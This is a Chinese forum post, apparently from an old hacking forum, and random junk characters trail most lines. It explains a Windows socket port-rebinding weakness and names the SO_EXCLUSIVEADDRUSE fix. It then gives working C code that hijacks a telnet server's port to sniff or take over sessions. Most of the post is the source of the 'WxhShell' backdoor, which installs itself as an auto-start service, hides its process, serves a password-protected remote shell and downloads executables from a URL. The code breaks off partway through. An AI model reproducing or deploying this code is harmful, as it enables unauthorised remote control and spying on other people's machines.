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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >p#_ L^oZ%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |MN2v[y  
asE.!g?  
  saddr.sin_family = AF_INET; e|>@ >F]K  
QxuU3#l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \F\xZ.r  
RH$l?j6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R&:Qy7"  
&|h9L'mr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nEP3B '+  
_mQj=  
  这意味着什么?意味着可以进行如下的攻击: DjiI*HLNR  
il"pKQF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >) Bv>HM  
t?b@l<, s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <[T{q |*  
$VP\Ac,!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I)9 ,  
VV#'d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #)i+'L8  
6OJhF7\0&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 XWX]/j2jA  
DwK$c^2q{.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {$ pi};  
4H@7t,>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &os:h] C  
(=Oo=8\  
  #include G)f!AuN=  
  #include ;>fM?ae5  
  #include uJ fXe  
  #include    PBcb*7W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /n:Q>8^n'W  
  int main() V}~',o<m  
  { |N3#of(  
  WORD wVersionRequested; 32y 9rz  
  DWORD ret; yigq#h^  
  WSADATA wsaData; YN7O Qqa  
  BOOL val; KdzV^6K<c  
  SOCKADDR_IN saddr; >wFn|7\)s>  
  SOCKADDR_IN scaddr; 'c]Pm,Ls  
  int err; 3qDbfO[  
  SOCKET s; L s3r( Tf  
  SOCKET sc; &m]jYvRc  
  int caddsize; ;?TM_%>  
  HANDLE mt; V&/Cb&~Uw  
  DWORD tid;   >z% WW&Z'  
  wVersionRequested = MAKEWORD( 2, 2 ); ~BE=z:  
  err = WSAStartup( wVersionRequested, &wsaData ); :~ &#9  
  if ( err != 0 ) { |Ho} D~  
  printf("error!WSAStartup failed!\n"); &' y}L'  
  return -1; B?e] Ht  
  } 7osHKO<?2  
  saddr.sin_family = AF_INET; K(?p]wh  
   kbbHa_;aqV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @3U=kO(^+\  
?k@;,l :s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gNkBHwv  
  saddr.sin_port = htons(23); w4&\-S#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b `}hw"f  
  { FBOgaI83G  
  printf("error!socket failed!\n"); x2/ciC  
  return -1; /^gu&xnS  
  } (h[. Ie  
  val = TRUE; cK\?wZ| Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QF22_D<.}J  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0HQTe>!  
  { o{l]n*  
  printf("error!setsockopt failed!\n"); B1%xU?  
  return -1; 5`i+a H(  
  } EY c)v6[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'z=d&K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Qw"%Xk  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (.wR!l# !  
\ NKw,`/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =.) :tGDp  
  { }^b  
  ret=GetLastError(); uu>R)iTQ%S  
  printf("error!bind failed!\n"); Zw<<p|{)<  
  return -1; ?+%bEZ`  
  } ; 3sjTqD  
  listen(s,2); FF|M7/[~  
  while(1) Sw?EF8}[  
  { axK/YE7t  
  caddsize = sizeof(scaddr); [L ' >  
  //接受连接请求 6JR FYgI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }}"|(2I  
  if(sc!=INVALID_SOCKET) ZXIz.GFy+  
  { (B?ZUXM,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m& D#5C  
  if(mt==NULL) vTWm_ed+^  
  { Bo'v!bI7  
  printf("Thread Creat Failed!\n"); 5aXE^.`  
  break; k @gQY_  
  } LW9F%?e!>  
  } gkca{BJ   
  CloseHandle(mt); qagR?)N)u  
  } U]9k,#  
  closesocket(s); WZP1g kX&M  
  WSACleanup(); k 6i&NG6  
  return 0; KYl!Iw67d  
  }   [8Z !dj   
  DWORD WINAPI ClientThread(LPVOID lpParam) xX Dj4j,  
  { [81q 0@  
  SOCKET ss = (SOCKET)lpParam; GNHWbC6_m  
  SOCKET sc; OsRizcgdA  
  unsigned char buf[4096]; IP)%y%ycw  
  SOCKADDR_IN saddr; I%B\Wy/j^  
  long num; 2 i NZz  
  DWORD val; K `A8N  
  DWORD ret; qG]0z_dPE~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]*Kv[%r07c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O.8k [Ht  
  saddr.sin_family = AF_INET; 1?Tj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H!l 9a  
  saddr.sin_port = htons(23); wLvM<p7OX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1S yG  
  { PY&mLux%  
  printf("error!socket failed!\n"); $s 'n]]Wq  
  return -1; g8" H{u  
  } n?9FJOqi  
  val = 100; C 5e;U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7*He 8G[W  
  { =j{Kxnv  
  ret = GetLastError(); 3~Ap1_9  
  return -1; ["<'fq;PJ  
  } QiJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7" )~JBH  
  { {A)9ePgv!  
  ret = GetLastError(); \BO6.;jA  
  return -1; fX>y^s?y  
  } ToD_9i }6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,K|UUosS-#  
  { 2zuQeFsK  
  printf("error!socket connect failed!\n"); Yvu?M8aK!  
  closesocket(sc); I<+:Ho=6  
  closesocket(ss); "z_},TCy  
  return -1; rFp>A`TJ  
  } ?0qP6'nWx  
  while(1) k^zU;  
  { ^uPg71r:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WF2t{<]^e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dfZ`M^NU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s .+`"rK  
  num = recv(ss,buf,4096,0); v I,T1%llu  
  if(num>0) Wr'1Y7z  
  send(sc,buf,num,0); tZu1jBO_Q4  
  else if(num==0) ,R-aO= %  
  break; P>03 DkbB  
  num = recv(sc,buf,4096,0); b # Llu$  
  if(num>0) iJCv+p_f  
  send(ss,buf,num,0); jvo^I$|2h  
  else if(num==0) 4U u`1gtz  
  break; 2^f7GP  
  } )CgH|z:=b  
  closesocket(ss); Ka<J* k3  
  closesocket(sc); < Pi#-r.,  
  return 0 ; .1_kRy2*.  
  } M|{NC`fa  
0s RcA-9  
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========================================================== Dv&K3^~Rfb  
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下边附上一个代码,,WXhSHELL rj4R/{h  
{kr14 l*2  
========================================================== ff~1>=^  
~qK/w0=j  
#include "stdafx.h" LC\U6J't1  
Z9Z\2t  
#include <stdio.h> !0F+qzGG7  
#include <string.h> G^eXJusOv  
#include <windows.h> *d PbV.HCl  
#include <winsock2.h> 81w"*G5AM  
#include <winsvc.h> _KkP{g,Y  
#include <urlmon.h> xV=Tmu6l  
Mz\l C)\B  
#pragma comment (lib, "Ws2_32.lib") '}"&JO~vPj  
#pragma comment (lib, "urlmon.lib") S0}=uL#dt  
\1QY=}  
#define MAX_USER   100 // 最大客户端连接数 *kEzGgTzoS  
#define BUF_SOCK   200 // sock buffer 8DM! ]L  
#define KEY_BUFF   255 // 输入 buffer %joL}f[  
<Y$( l szT  
#define REBOOT     0   // 重启 )V&hS5P=S  
#define SHUTDOWN   1   // 关机 4yjIR?  
\k^ojzJ  
#define DEF_PORT   5000 // 监听端口 |"+Uf w^  
`3@?)xa  
#define REG_LEN     16   // 注册表键长度 l,zhBnD  
#define SVC_LEN     80   // NT服务名长度 E>`|?DE@  
y0~ttfv  
// 从dll定义API o^m?w0 \  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5G$5d:[(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6Rmdf>a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Rz[3cN)?q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G\B+bBz  
s[t<2)i  
// wxhshell配置信息 L0GQH;Y,h  
struct WSCFG { "fW }6pS  
  int ws_port;         // 监听端口 DJAKF  
  char ws_passstr[REG_LEN]; // 口令 T Q5kM  
  int ws_autoins;       // 安装标记, 1=yes 0=no ./L)BLC i  
  char ws_regname[REG_LEN]; // 注册表键名 \PcnD$L  
  char ws_svcname[REG_LEN]; // 服务名 dC|6z/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,Q0H)// ~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M |f V7g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 / :6|)AW.{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `!AI:c*3p1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `#vbV/sM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NRgVNE  
'$?!>HN4  
}; .J O1kt  
\ Ce*5h  
// default Wxhshell configuration )a x>*  
struct WSCFG wscfg={DEF_PORT, /?($W|9+l  
    "xuhuanlingzhe", [m%]C  
    1, y*6/VSRkt4  
    "Wxhshell", "?<h,Hvi  
    "Wxhshell", *>1^q9M  
            "WxhShell Service", 0/9]T Ic  
    "Wrsky Windows CmdShell Service", ivyaGAF}+o  
    "Please Input Your Password: ", _x|.\j  
  1, YPf?  
  "http://www.wrsky.com/wxhshell.exe", `b%lojT.  
  "Wxhshell.exe"  1X&jlD?  
    }; e =r  b  
>[;=c0(  
// 消息定义模块 $*T?}r>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >P&1or)e%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t,IOq[Vtk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8ZLHN',  
char *msg_ws_ext="\n\rExit."; xV 2C4K  
char *msg_ws_end="\n\rQuit."; qZ&~&f|>e  
char *msg_ws_boot="\n\rReboot..."; v^vi *c  
char *msg_ws_poff="\n\rShutdown..."; 4d-(:  
char *msg_ws_down="\n\rSave to "; KROD(  
#<ST.f@*  
char *msg_ws_err="\n\rErr!"; C/'w  
char *msg_ws_ok="\n\rOK!"; `48Ql  
Y]](.\ff  
char ExeFile[MAX_PATH]; _SJ:|I  
int nUser = 0; u6 Lx3  
HANDLE handles[MAX_USER]; HD/!J9&  
int OsIsNt; 'W yWO^Bdk  
akU2ToP  
SERVICE_STATUS       serviceStatus; {]Hv*{ ]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /-G_0 A2wF  
ai-rF^ehC  
// 函数声明 ,&qC R sw  
int Install(void); eZN"t~\rX  
int Uninstall(void); "H<us?r{  
int DownloadFile(char *sURL, SOCKET wsh); @un+y9m[C  
int Boot(int flag); S2_(lS+R  
void HideProc(void); 5j6`W?|q  
int GetOsVer(void); 75lh07  
int Wxhshell(SOCKET wsl); >]z^.U7=  
void TalkWithClient(void *cs); d7 H*F  
int CmdShell(SOCKET sock); /XEW]/4  
int StartFromService(void); rp{|{>'`.q  
int StartWxhshell(LPSTR lpCmdLine); x3Y)l1gh  
b*M?\ aA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tiHR&v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q$mc{F($D  
upL3M`  
// 数据结构和表定义 I "~.p='  
SERVICE_TABLE_ENTRY DispatchTable[] = Z0m`%(MJa  
{ sA77*T  
{wscfg.ws_svcname, NTServiceMain}, j7k}!j_O{  
{NULL, NULL} ii-AE L  
}; >3Q|k{97  
?1a9k@[t  
// 自我安装 ne/JC(  
int Install(void) F_jHi0A  
{ \m G Y'0  
  char svExeFile[MAX_PATH]; $2L6:&.P,  
  HKEY key; L/V^#$  
  strcpy(svExeFile,ExeFile); });Rjg  
jWv'`c  
// 如果是win9x系统,修改注册表设为自启动 Np/\ }J&IF  
if(!OsIsNt) { oSC'b%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -4& i t:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NX.xE W@  
  RegCloseKey(key); %&| uT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R]iV;j|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !W9:)5^X  
  RegCloseKey(key); `+"(GaZ  
  return 0; +ovK~K $A  
    } *^~ =/:  
  } (Y@T5-!D  
} $?G@ijk,  
else { |f#hGk6  
5;UIz@BJ  
// 如果是NT以上系统,安装为系统服务 -6HwG fU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }: HG)V  
if (schSCManager!=0) .'gm2  
{ x9 %=d  
  SC_HANDLE schService = CreateService AXW.`~ 4  
  ( pB 8D  
  schSCManager, *}d N.IL,  
  wscfg.ws_svcname, "+- 'o+  
  wscfg.ws_svcdisp, !}#> ky!t  
  SERVICE_ALL_ACCESS, ]A'{DKR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D3X4@sM  
  SERVICE_AUTO_START, AcPLJ!y  
  SERVICE_ERROR_NORMAL, Aj4 a-vd.  
  svExeFile, kz7FQE  
  NULL, VTM* 1uXS>  
  NULL, :aej.>I0  
  NULL, H.@$#D  
  NULL, 2Jd(@DcJ2C  
  NULL V0>X2&.A  
  ); >8>!wi9U  
  if (schService!=0) ,=P&{38\q  
  { Qs6Vu)U=  
  CloseServiceHandle(schService); Nc7"`!;-   
  CloseServiceHandle(schSCManager); |Ev|A9J!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d8wVhZKI"  
  strcat(svExeFile,wscfg.ws_svcname); 7v ZD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~Ld5WEp k3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); alaL/p{O  
  RegCloseKey(key); Yi*F;V   
  return 0; &>,;ye>A  
    } ctZ,qg*N  
  } ,,gMUpL7_8  
  CloseServiceHandle(schSCManager); }kqh[`:  
} 3ic /xy;}  
} * 9^8NY]  
ahg:mlaob  
return 1; A'DFY {  
} 3' i6<  
E1eGZ&&Gd  
// 自我卸载 CO='[1"_5  
int Uninstall(void) sFTAE1|  
{ tQ|c.`)W  
  HKEY key; olE(#}7V  
N3n]  
if(!OsIsNt) { OlOOg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g X!>ef  
  RegDeleteValue(key,wscfg.ws_regname); x#D%3v"l_*  
  RegCloseKey(key); p"ZvA^d\   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K381B5_h  
  RegDeleteValue(key,wscfg.ws_regname); -e/}DGL  
  RegCloseKey(key); wUv?;Y$C  
  return 0; hG?y)g\A  
  } ]#)(D-i  
} H5}61JC/z  
} 'f\9'v  
else { /?'~`4!(  
K ze?@*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M:/NW-:  
if (schSCManager!=0) {EoYU\x  
{ .Vbd-jr'M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n1."Qix0  
  if (schService!=0) .SD-6GVD  
  { .\R9tt}  
  if(DeleteService(schService)!=0) { h0tiWHw  
  CloseServiceHandle(schService); PR%)3  
  CloseServiceHandle(schSCManager); )@NFV*@I  
  return 0; MJXnAIG?2  
  } 6]brL.eGj  
  CloseServiceHandle(schService); e*7O!Z=O  
  } vB8$Qx\J  
  CloseServiceHandle(schSCManager); ,|A^ <R`  
} SGWb*grt  
} ]<;7ZNG"Y5  
8G:/f3B=  
return 1; msBoInhI  
} MzIDeZ  
EN!C5/M{&  
// 从指定url下载文件 g,Ob/g8uc  
int DownloadFile(char *sURL, SOCKET wsh) qVC+q8  
{ E>bkEm  
  HRESULT hr; 5whW>T  
char seps[]= "/"; pU7;!u:c4%  
char *token; lL)f-8DX  
char *file; |OH*c3~r  
char myURL[MAX_PATH]; r mX*s} B  
char myFILE[MAX_PATH]; Hd~g\  
/mkT7,]  
strcpy(myURL,sURL); Y) sB]!hx  
  token=strtok(myURL,seps); )p\`H;7*V4  
  while(token!=NULL) {A0jkU  
  { J!uG/ Us  
    file=token; "ko*-FrQ  
  token=strtok(NULL,seps); fsL9d}  
  } @+b$43 ^  
f24W*#IX  
GetCurrentDirectory(MAX_PATH,myFILE); ]-\68bN  
strcat(myFILE, "\\"); 4z<c8 E8  
strcat(myFILE, file); wL0[Slf}  
  send(wsh,myFILE,strlen(myFILE),0); [c,V=:Cq  
send(wsh,"...",3,0); ;'S,JGpvT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3FiK/8mu  
  if(hr==S_OK) A6z ,6v6  
return 0;  d$$5&a  
else q} e#L6cM  
return 1; >(RkoExO/  
_ $F=A  
} :^)?AO#J  
aopPv&jY  
// 系统电源模块 5P!ZGbG  
int Boot(int flag) +e{ui +  
{ fd'kv  
  HANDLE hToken; +``vnC  
  TOKEN_PRIVILEGES tkp; ]}L'jK 0  
T!c|O3m  
  if(OsIsNt) { HMd?`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Nc\DXc-N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *Jsb~wta  
    tkp.PrivilegeCount = 1; XDPR$u8hM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <x}wy+SG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !n-Sh<8  
if(flag==REBOOT) { KhR3$|fH<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ",/6bs#$  
  return 0; +=($mcw#[  
} "'v+*H 3  
else { M/o?D <'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BN9e S   
  return 0; =8]`-(  
} x=DxD&I!J  
  } #}^waYAk)  
  else { : @|Rj_S;  
if(flag==REBOOT) { vMz|'-rm$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZXnacc~s  
  return 0; u "0{) ,  
} cEL:5*cAU}  
else { ?}?"m:=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [icD*N<Gc  
  return 0; x#0?$}f<  
} Qder8I  
} mx9vjW fy  
SJiQg-+<Uf  
return 1; rj=as>6B  
} c,1  G+.  
}b2YX+/e$f  
// win9x进程隐藏模块 v2x+_K}J  
void HideProc(void) }b1G21Dc!  
{ !>9s  
pT,8E(*l2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (_pw\zk>  
  if ( hKernel != NULL ) g (w/  
  { ?'k_K:_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n-9xfn0U~#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XM\\Imw  
    FreeLibrary(hKernel); }d%CZnY&7  
  } V lx.C~WYn  
}TTghE!  
return; "l&SRX?g  
} `rn/H;r!Z  
T~3{$  
// 获取操作系统版本 Q/|.=:~FO  
int GetOsVer(void) m1W) PUy  
{ %,[,mW4l   
  OSVERSIONINFO winfo; Htgo=7!?\3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B{/og*xd*1  
  GetVersionEx(&winfo); a"@f< wU~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0Md>-H;ZY  
  return 1; ()aCE^C  
  else U`6|K$@  
  return 0; O:0{vu9AQ  
} ~xqiasE#K  
&PJ;B)b  
// 客户端句柄模块 !.UE}^TV  
int Wxhshell(SOCKET wsl) *O[/KR%  
{ B?B OAH  
  SOCKET wsh; UNDl&C2vz  
  struct sockaddr_in client; qm_l# u6  
  DWORD myID; rO#w(]   
jRg/N_2'2  
  while(nUser<MAX_USER) i|{psA  
{ ZLzc\>QX  
  int nSize=sizeof(client); r)gK5Mv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y,:WLk~  
  if(wsh==INVALID_SOCKET) return 1; HGYTh"R  
>az~0PeEL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =][ )|n  
if(handles[nUser]==0) $ W7}Igx#  
  closesocket(wsh); j sPavY  
else 0d+n[Go+S  
  nUser++; f&CQn.K"  
  } O[d#-0s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xN*k&!1&  
$.D )Llcq  
  return 0; qWH^/o  
} i(% 2t(wf+  
K<^p~'f4P  
// 关闭 socket g>t1rZ  
void CloseIt(SOCKET wsh) bll[E}E|3  
{ *)RKU),3nL  
closesocket(wsh); >N#Nz 0|(  
nUser--; g**!'T4&o  
ExitThread(0); MFROAVPZ5  
} #e@NV4q  
#QFz /6  
// 客户端请求句柄 9\EW~OgTu  
void TalkWithClient(void *cs) pFH.beY  
{ e%e.|+  
L;0 NR(b!  
  SOCKET wsh=(SOCKET)cs; Dn)yBA%  
  char pwd[SVC_LEN]; _. 9 5>`  
  char cmd[KEY_BUFF]; U,!qNi}  
char chr[1]; ]EHsRd  
int i,j; ?7fqWlB  
=@d#@  
  while (nUser < MAX_USER) { CcUF)$kz  
;i[JCNiS\  
if(wscfg.ws_passstr) { 2-@)'6"n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z%E(o%l8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tw';;euw  
  //ZeroMemory(pwd,KEY_BUFF); ZbC$Fk,,I&  
      i=0; lG-B) F  
  while(i<SVC_LEN) { <}lah%4F  
[2,D]e  
  // 设置超时 #HV5M1mb  
  fd_set FdRead; H5 z1_O_+  
  struct timeval TimeOut; r[(;J0=  
  FD_ZERO(&FdRead); 6?u`u t  
  FD_SET(wsh,&FdRead); Tz)Ku  
  TimeOut.tv_sec=8; |m KohV qr  
  TimeOut.tv_usec=0; LF7 }gQs ^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l :{q I#Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =6U5^+|d  
x1Gx9z9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2OUx@Vj  
  pwd=chr[0]; !-)!UQ~|8  
  if(chr[0]==0xd || chr[0]==0xa) { lW5Lwyt8  
  pwd=0; {> ,M  
  break; )jXKPLj  
  } ]r#b:W\  
  i++; D9TjjA|zS  
    } Ja~8ZrcY  
; =n}61  
  // 如果是非法用户,关闭 socket ;SE*En  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qh.F}9o  
} 'o)Y!VYnJF  
1?BLL;[a8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c1E{J <pZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yeg<MrS4D  
J.R]) &CB  
while(1) { 6/ 5c|  
nl}LT/N  
  ZeroMemory(cmd,KEY_BUFF); |yz[mP*;o  
FaCW +9B  
      // 自动支持客户端 telnet标准   0 7Yak<+~  
  j=0; w)|9iL8  
  while(j<KEY_BUFF) { 'yVe&5?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]A}ZaXd  
  cmd[j]=chr[0]; '4M{Xn}@  
  if(chr[0]==0xa || chr[0]==0xd) { m!KEK\5M?  
  cmd[j]=0; NxF:s,a6  
  break; W!$U{=  
  } x:0swZ5Z  
  j++; AM=> P 7  
    } k6"(\d9o  
Pm6U:RL  
  // 下载文件 R +@|#!  
  if(strstr(cmd,"http://")) { MhA4C 8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pl=)eq YY  
  if(DownloadFile(cmd,wsh)) 1Du5Z9AM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Bwz Fh  
  else 4!Radl3`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c3GBY@m  
  } \)5mO 8w  
  else { <pV8 +V)  
zgz!"knVx  
    switch(cmd[0]) { j_d}?jh  
  p>eYi \'  
  // 帮助 R`]@.i4tt  
  case '?': { [_jw8`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /RJ]MQ\*O  
    break; EC5 = 2w<  
  } 2H w7V3q  
  // 安装 e|:\Ps`8  
  case 'i': { Ce-= -  
    if(Install()) }'tJc $!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $}vzBuWHwN  
    else Y!45Kio  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z$INmo6  
    break; q)9n%- YgP  
    } 2FaCrc/  
  // 卸载 bD=H$)  
  case 'r': { *lA+ -gkK*  
    if(Uninstall()) <[n:Ij  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 05{}@tW-  
    else =v^#MU{k?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C-S>'\ |8  
    break; k62s|VeU  
    } [-[59 H[6)  
  // 显示 wxhshell 所在路径 C) R hld  
  case 'p': { y;CX )!8  
    char svExeFile[MAX_PATH]; pYzop4  
    strcpy(svExeFile,"\n\r"); dhA~Yu  
      strcat(svExeFile,ExeFile); ML'y`S  
        send(wsh,svExeFile,strlen(svExeFile),0); =PY{Elf  
    break; T16gq-h'  
    } ;_SSR8uHv  
  // 重启 ]e),#_M  
  case 'b': { "p3<-06  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %y9sC1T  
    if(Boot(REBOOT)) L7{}`O/g7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5qH*"i+|s  
    else { V*PL_|Q5  
    closesocket(wsh); n%29WF6Zf  
    ExitThread(0); )V~=B]  
    } s}". po]  
    break; fZ &  
    } L3HC-  
  // 关机 y+k^CT/u  
  case 'd': { P<Bx1H-z-  
